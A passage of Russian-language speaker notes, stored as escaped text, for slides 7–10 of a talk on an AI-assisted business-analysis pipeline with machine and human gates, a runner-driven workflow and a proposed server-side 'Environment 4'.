\u0433\u0435\u0439\u0442\u0430\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0446\u0435\u043b\u0435\u0432\u043e\u0439 \u043f\u0440\u043e\u0446\u0435\u0441\u0441 \u0438 \u0447\u0435\u0441\u0442\u043d\u043e \u0440\u0430\u0437\u043c\u0435\u0442\u0438\u0442\u044c\\n\u0433\u043e\u0442\u043e\u0432\u043d\u043e\u0441\u0442\u044c \u044d\u0442\u0430\u043f\u043e\u0432.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f: \u0442\u0440\u0430\u043d\u0441\u043a\u0440\u0438\u043f\u0442 \u0432\u0441\u0442\u0440\u0435\u0447\u0438 \u0438 \u043f\u0435\u0440\u0435\u043f\u0438\u0441\u043a\u0430 \u043f\u0440\u0438\u0432\u043e\u0434\u044f\u0442\u0441\u044f \u043a \u0432\u0445\u043e\u0434\u043d\u043e\u043c\u0443\\n  \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443. \u0411\u0435\u0437 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0448\u0430\u0433 \u043d\u0435 \u0441\u0442\u0430\u0440\u0442\u0443\u0435\u0442.\\n- \u0421\u0432\u0435\u0440\u043a\u0430: \u043a\u0430\u0436\u0434\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u0440\u0438\u0432\u044f\u0437\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u043a \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438 \u0438\u043b\u0438 \u043a\u0435\u0439\u0441\u0443. \u041d\u0435\u044f\u0441\u043d\u043e\u0441\u0442\u044c\\n  \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 \u0432\u043e\u043f\u0440\u043e\u0441 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0443, \u0430 \u043d\u0435 \u0432 \u0434\u043e\u043f\u0443\u0449\u0435\u043d\u0438\u0435.\\n- \u0413\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u043f\u043e \u0437\u043e\u043b\u043e\u0442\u043e\u043c\u0443 \u0448\u0430\u0431\u043b\u043e\u043d\u0443. \u041c\u044b\\n  [\u043f\u0440\u043e\u0432\u0435\u0440\u0438\u043b\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-23-bcreq-golden-forms-and-feasibility.md):\\n  \u043e\u0434\u043d\u0430 \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 7 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f API, \u043b\u0438\u0447\u043d\u043e\u0433\u043e \u043a\u0430\u0431\u0438\u043d\u0435\u0442\u0430 \u0438\\n  \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430. \u0414\u043b\u044f \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430 \u0432 \u043f\u0430\u043a\u0435\u0442\u0435 2 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0438 4\\n  \u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445\\n  [\u0437\u043e\u043b\u043e\u0442\u044b\u0445 \u043a\u0435\u0439\u0441\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/golden)\\n  \u2014 \u043d\u0430 \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0432\u0440\u043e\u0434\u0435 SLA \u0438 AHT.\\n- \u0413\u0435\u0439\u0442\u044b: \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u0441\u0445\u0435\u043c\u0443, \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u2014 \u0441\u043c\u044b\u0441\u043b \u0438 \u0441\u043f\u043e\u0440\u043d\u044b\u0435\\n  \u0432\u044b\u0431\u043e\u0440\u044b. \u0427\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0442\u043e, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u0430.\\n- \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f: \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441\u043e\u0431\u0438\u0440\u0430\u044e\u0442\u0441\u044f \u0447\u0442\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0431\u0438\u0437\u043d\u0435\u0441\u0430,\\n  \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n\\n**\u0421\u0442\u0430\u0442\u0443\u0441 \u2014 \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u044f\u043c\u043e:**\\n\\n- \u0420\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e: \u043c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0438 \u0441\u0431\u043e\u0440\u043a\u0430 Release. \u0414\u0432\u0435 \u0441\u0431\u043e\u0440\u043a\u0438\\n  \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u0430\u044e\u0442\\n  [\u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md).\\n- \u0412 \u043f\u0438\u043b\u043e\u0442\u0435 \u043d\u0430 \u0410\u0420\u041c: \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f, \u0441\u0432\u0435\u0440\u043a\u0430, \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u2014 \u043d\u0430 \u0441\u0440\u0435\u0437\u0435\\n  `contact-center`.\\n- \u041d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e: \u0432\u044b\u0434\u0430\u0447\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0432\u0438\u0434 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430.\\n  \u0421\u0435\u0439\u0447\u0430\u0441 \u043c\u0430\u0448\u0438\u043d\u0430 \u0432\u044b\u0434\u0430\u0451\u0442 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 JSON, \u0430 \u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u2014 \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\\n  \u043c\u043e\u0434\u0435\u043b\u0438. \u042d\u0442\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0413\u0434\u0435 \u044d\u0442\u043e\u0442 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0441\u0435\u0439\u0447\u0430\u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u0430 \u0434\u0440\u0443\u0433\u0430\u044f\\n\u0441\u0440\u0435\u0434\u0430?\u00bb\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0438\u043b\u043e\u0442 \u0438 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u0442\u044c \u0432\u0435\u043a\u0442\u043e\u0440\\n\u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0443\u044e \u0441\u0440\u0435\u0434\u0443 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u044b\u043c \u043f\u0440\u043e\u0431\u0435\u043b\u043e\u043c, \u0430 \u043d\u0435 \u0436\u0435\u043b\u0430\u043d\u0438\u0435\u043c.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0430 \u043f\u043e\\n  [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md):\\n  Source \u0445\u0440\u0430\u043d\u0438\u0442 \u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, Distribution \u2014 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442,\\n  Runtime \u2014 \u0441\u0440\u0435\u0434\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, Feedback \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u0432 Source.\\n- \u0421\u0435\u0439\u0447\u0430\u0441 \u0434\u0432\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u0434\u043b\u044f \u0410\u0420\u041c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430: GigaCode CLI \u0438 Cline \u0441 Mango AI.\\n  \u041a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u043e\u0431\u0449\u0438\u0439, \u0432 \u043e\u0431\u043e\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 \u043e\u043d \u043f\u043e\u0431\u0430\u0439\u0442\u043e\u0432\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432. \u041e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f\\n  \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u044b.\\n- \u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b \u043d\u0430\u0448\u0451\u043b\\n  [\u0430\u0443\u0434\u0438\u0442 \u0441\u0440\u0435\u0434](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md):\\n  \u0443 \u0440\u043e\u043b\u0438 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f. \u0412 CLI \u043a\u0430\u0436\u0434\u044b\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0411\u0410, \u0432\\n  Cline \u043c\u043e\u0434\u0435\u043b\u044c \u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0438 \u0440\u0435\u0448\u0430\u0435\u0442 \u0441\u0430\u043c\u0430.\\n- \u041f\u0440\u043e\u0431\u0430 \u044d\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430: \u0442\u0435\u043a\u0441\u0442 \u00ablorem ipsum\u00bb \u043f\u0440\u043e\u0448\u0451\u043b \u0443\u0437\u043b\u044b n1\u2013n3, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0432\u044b\u0445\u043e\u0434 \u0448\u0430\u0433\u0430. \u041c\u0435\u0442\u0440\u0438\u043a\u0430 \u0434\u043e\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0448\u0430\u0433\u043e\u0432 \u043f\u0440\u0438\\n  \u044d\u0442\u043e\u043c \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0430 1.0.\\n- \u041e\u0442\u0441\u044e\u0434\u0430 \u0432\u0435\u043a\u0442\u043e\u0440. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 runner \u043d\u0430 \u0410\u0420\u041c \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043b\u0438\u0434\u0435\u0440\u043e\u043c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430. \u0417\u0430\u0442\u0435\u043c\\n  \u0442\u043e \u0436\u0435 \u044f\u0434\u0440\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u0430\u043a \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u2014 \u0421\u0440\u0435\u0434\u0430 4: \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439\\n  \u0430\u0432\u0442\u043e\u043c\u0430\u0442 \u043d\u0430 15 \u0443\u0437\u043b\u043e\u0432, \u0436\u0443\u0440\u043d\u0430\u043b \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432, \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e\\n  OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u043c\u0443 API \u0438\u0437 \u043a\u043e\u0434\u0430.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 \u0430\u0433\u0435\u043d\u0442\u043d\u044b\u0439 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a:** \u0445\u043e\u0440\u043e\u0448\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 \u0441 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u043c\u0438 \u2014\\n\u044d\u0442\u043e workflow, \u0430 \u043d\u0435 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439 \u0430\u0433\u0435\u043d\u0442. \u0422\u0430\u043a \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0438 Anthropic \u0432\\n[Building effective agents](https://www.anthropic.com/engineering/building-effective-agents),\\n\u0438 \u043f\u0440\u0438\u043d\u0446\u0438\u043f \u00abOwn your control flow\u00bb \u0438\u0437\\n[12-factor agents](https://github.com/humanlayer/12-factor-agents).\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u0434\u043e\u043c, \u0447\u0442\u043e \u0434\u0430\u0451\u0442 \u044d\u0442\u043e\\n\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430?\u00bb\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 9. \u041c\u0430\u0441\u0448\u0442\u0430\u0431\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u0432\u044b\u0445\u043e\u0434\u0430, \u0430 \u043d\u0435 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043f\u0435\u0440\u0435\u0432\u0435\u0441\u0442\u0438 \u0440\u0430\u0437\u0433\u043e\u0432\u043e\u0440 \u0441 \u00ab\u0418\u0418 \u043f\u0438\u0448\u0435\u0442 \u0422\u0417\u00bb \u043d\u0430\\n\u00ab\u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u044f \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438\u00bb.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u041a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0434\u0438\u043d \u0434\u043b\u044f \u0432\u0441\u0435\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432. \u041d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u0430\u044f \u043b\u0438\u043d\u0438\u044f\\n  \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043b\u043e\u0432\u0430\u0440\u044c \u0438 \u0437\u043e\u043b\u043e\u0442\u044b\u0435 \u043a\u0435\u0439\u0441\u044b, \u0430 \u043d\u0435 \u043d\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043d\u0430\\n  [860 \u0440\u0430\u0437\u0434\u0435\u043b\u0430\u0445](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/2026-09-08-kb-slot-fit-facts.md)\\n  \u0431\u0430\u0437\u044b \u0437\u043d\u0430\u043d\u0438\u0439 \u043f\u044f\u0442\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: \u0432\u0441\u0435 \u043b\u0435\u0433\u043b\u0438 \u0432 14 \u0441\u043b\u043e\u0442\u043e\u0432, \u043d\u043e\u0432\u044b\u0439 \u043d\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u0438\u043b\u0441\u044f.\\n- \u0421\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0438 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a \u043f\u043e\u043b\u0443\u0447\u0430\u044e\u0442 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b,\\n  \u0433\u0434\u0435 \u0443 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f \u0435\u0441\u0442\u044c \u0441\u043b\u0435\u0434 \u0434\u043e \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430. \u041f\u0435\u0440\u0435\u0434\u0430\u0447\u0430 \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u0451\u0442 \u0431\u044b\u0442\u044c\\n  \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\u043e\u043c.\\n- \u041a\u0430\u0447\u0435\u0441\u0442\u0432\u043e \u0438\u0437\u043c\u0435\u0440\u044f\u0435\u0442\u0441\u044f\\n  [\u043f\u044f\u0442\u044c\u044e \u043c\u0435\u0442\u0440\u0438\u043a\u0430\u043c\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/40-practice-and-cases.md):\\n  \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b, \u0434\u043e\u043b\u044f \u043e\u0442\u043a\u0430\u0437\u043e\u0432 \u043c\u0430\u0448\u0438\u043d\u043d\u043e\u0433\u043e \u0433\u0435\u0439\u0442\u0430, \u043f\u0440\u0430\u0432\u043a\u0438\\n  \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 \u043f\u043e\u0441\u043b\u0435 \u043c\u0430\u0448\u0438\u043d\u044b, \u043f\u043e\u043b\u043d\u043e\u0442\u0430 \u0441\u043b\u0435\u0434\u0430, \u0434\u043e\u043b\u044f \u043f\u0443\u0441\u0442\u044b\u0445 \u0441\u043b\u043e\u0442\u043e\u0432 \u0441 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439.\\n- \u041f\u0440\u0430\u0432\u0438\u043b\u043e \u0447\u0435\u0441\u0442\u043d\u043e\u0441\u0442\u0438: \u0435\u0441\u043b\u0438 \u043c\u0430\u0448\u0438\u043d\u043d\u044b\u0439 \u0433\u0435\u0439\u0442 \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043e\u0442\u043a\u043b\u043e\u043d\u044f\u0435\u0442, \u043e\u043d \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435\\n  \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442. \u041d\u0443\u043b\u0435\u0432\u043e\u0439 `M-2` \u2014 \u0441\u0438\u0433\u043d\u0430\u043b \u0442\u0440\u0435\u0432\u043e\u0433\u0438, \u0430 \u043d\u0435 \u0443\u0441\u043f\u0435\u0445.\\n- \u041e\u0431\u0440\u0430\u0442\u043d\u0430\u044f \u0441\u0432\u044f\u0437\u044c \u043d\u0435 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f: \u0440\u0430\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435, \u043d\u0430\u0439\u0434\u0435\u043d\u043d\u043e\u0435 \u0432 \u0440\u0430\u0431\u043e\u0442\u0435,\\n  \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 Source \u0441 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u0438 \u0434\u043e\u0445\u043e\u0434\u0438\u0442 \u0434\u043e \u0432\u0441\u0435\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 \u0447\u0435\u0440\u0435\u0437\\n  \u043f\u0435\u0440\u0435\u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044e.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u041e\u0441\u0442\u0430\u043b\u043e\u0441\u044c \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e \u043c\u044b \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0434\u0430\u043b\u044c\u0448\u0435\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 10. \u0422\u0440\u0438 \u0448\u0430\u0433\u0430 \u043a \u0421\u0440\u0435\u0434\u0435 4\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 1,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0437\u0430\u043a\u043e\u043d\u0447\u0438\u0442\u044c \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u044b\u043c \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u043c \u0438 \u0437\u0430\u0440\u0430\u043d\u0435\u0435\\n\u0437\u0430\u0434\u0430\u043d\u043d\u044b\u043c \u043a\u0440\u0438\u0442\u0435\u0440\u0438\u0435\u043c \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0428\u0430\u0433 1 \u043d\u0435 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u043e\u0432\u043e\u0439 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u044b. Runner \u043d\u0430 \u0410\u0420\u041c \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442 \u0441\u0430\u043c\\n  \u0441\u0447\u0438\u0442\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u044b, \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u0432\u044b\u0445\u043e\u0434 \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u0443\u0437\u043b\u0430 \u0438 \u0443\u043c\u0435\u0442\u044c \u0436\u0434\u0430\u0442\u044c \u043e\u0442\u0432\u0435\u0442\u0430\\n  \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430. \u0417\u0430\u0434\u0430\u0447\u0438 \u0443\u0436\u0435 \u0432\\n  [\u0431\u044d\u043a\u043b\u043e\u0433\u0435](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/ops/backlog.md):\\n  B-211\u2026B-213.\\n- \u0428\u0430\u0433 2 \u2014 \u0437\u0430\u043c\u0435\u0440 \u043d\u0430 10 \u0437\u0430\u0434\u0430\u0447\u0430\u0445. \u041a\u0440\u0438\u0442\u0435\u0440\u0438\u0439 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0437\u0430\u043f\u0438\u0441\u0430\u043d \u0434\u043e \u0441\u0442\u0430\u0440\u0442\u0430:\\n  \u043c\u0435\u043d\u044c\u0448\u0435 95% \u0448\u0430\u0433\u043e\u0432 \u0441 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u043c \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u043c \u0443\u0437\u043b\u0430 \u0438\u043b\u0438 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a \u0442\u0440\u0430\u0442\u0438\u0442 \u043d\u0430\\n  \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u043e\u043b\u044c\u0448\u0435 \u0432\u0440\u0435\u043c\u0435\u043d\u0438, \u0447\u0435\u043c \u043d\u0430 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u2014 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u043f\u0435\u0440\u0435\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f.\\n- \u0428\u0430\u0433 3 \u2014 \u0421\u0440\u0435\u0434\u0430 4. \u0417\u0434\u0435\u0441\u044c \u043d\u0443\u0436\u043d\u044b \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u0441 \u0432\u0430\u0448\u0435\u0439 \u0441\u0442\u043e\u0440\u043e\u043d\u044b: \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e\\n  API \u0438\u0437 \u043a\u043e\u0434\u0430 \u0438 \u043f\u043b\u043e\u0449\u0430\u0434\u043a\u0430 \u0434\u043b\u044f 